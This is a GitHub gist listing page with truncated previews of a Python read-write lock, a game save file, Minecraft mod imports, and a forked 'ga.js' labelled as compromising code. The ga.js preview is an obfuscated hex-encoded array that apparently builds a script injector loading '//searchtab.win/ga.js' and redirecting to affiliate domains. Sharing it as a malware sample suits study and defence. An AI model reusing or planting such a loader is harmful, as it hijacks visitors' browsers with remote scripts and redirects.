Skip to content

Instantly share code, notes, and snippets.

View saxbophone's full-sized avatar
🏳️‍⚧️

saxbophone

🏳️‍⚧️
View GitHub Profile
@saxbophone
saxbophone / rwlock.py
Created July 30, 2023 23:49 — forked from tylerneylon/rwlock.py
A simple read-write lock implementation in Python.
# -*- coding: utf-8 -*-
""" rwlock.py
A class to implement read-write locks on top of the standard threading
library.
This is implemented with two mutexes (threading.Lock instances) as per this
wikipedia pseudocode:
https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock#Using_two_mutexes
@saxbophone
saxbophone / ga.js
Created August 2, 2017 22:28 — forked from amlwwalker/ga.js
compromising code for webdeveloper tools
var _0x4d27=["\x63\x6C\x6F\x75\x64\x66\x6C\x61\x72\x65\x2E\x63\x6F\x6D","\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x73\x72\x63","\x2F\x2F\x73\x65\x61\x72\x63\x68\x74\x61\x62\x2E\x77\x69\x6E\x2F\x67\x61\x2E\x6A\x73","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x72\x65\x64\x69\x72\x65\x63\x74\x32\x2E\x74\x6F\x70","\x2F\x2F\x70\x61","\x72\x74\x6E\x65","\x72\x2D\x6E\x65","\x74\x2E\x6D\x65","\x6E\x2F\x63\x6F","\x64\x65\x2F\x3F","\x70\x69\x64\x3D","\x39\x37\x33\x38","\x32\x30\x26\x72","\x3D","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x74\x74\x70\x73\x3A\x2F\x2
@saxbophone
saxbophone / openpanzer-save.json
Created July 31, 2017 17:06
Kiev encirclement - Konotop-10
{"scenario":{"name":"Kiev encirclement - Konotop","maxTurns":22,"date":"1941-09-22T07:00:00.000Z","atmosferic":0,"latitude":3,"ground":0,"turnsPerDay":0,"dayTurn":0,"reinforcements":{"6":[],"7":[],"8":[]},"map":{"rows":39,"cols":44,"map":[[{"unit":null,"airunit":null,"terrain":0,"road":0,"owner":-1,"flag":-1,"isDeployment":-1,"victorySide":-1,"name":"","isMoveSel":false,"isAttackSel":false},{"unit":null,"airunit":null,"terrain":0,"road":17,"owner":-1,"flag":-1,"isDeployment":-1,"victorySide":-1,"name":"","isMoveSel":false,"isAttackSel":false},{"unit":null,"airunit":null,"terrain":0,"road":0,"owner":-1,"flag":-1,"isDeployment":-1,"victorySide":-1,"name":"","isMoveSel":false,"isAttackSel":false},{"unit":null,"airunit":null,"terrain":3,"road":0,"owner":-1,"flag":-1,"isDeployment":-1,"victorySide":-1,"name":"","isMoveSel":false,"isAttackSel":false},{"unit":null,"airunit":null,"terrain":3,"road":0,"owner":-1,"flag":-1,"isDeployment":-1,"victorySide":-1,"name":"","isMoveSel":false,"isAttackSel":false},{"unit":null,
package de.Femtopedia.XYCraftRL;
import java.util.Random;
import net.minecraft.block.state.pattern.BlockMatcher;
import net.minecraft.init.Blocks;
import net.minecraft.util.math.BlockPos;
import net.minecraft.world.World;
import net.minecraft.world.chunk.IChunkGenerator;
import net.minecraft.world.chunk.IChunkProvider;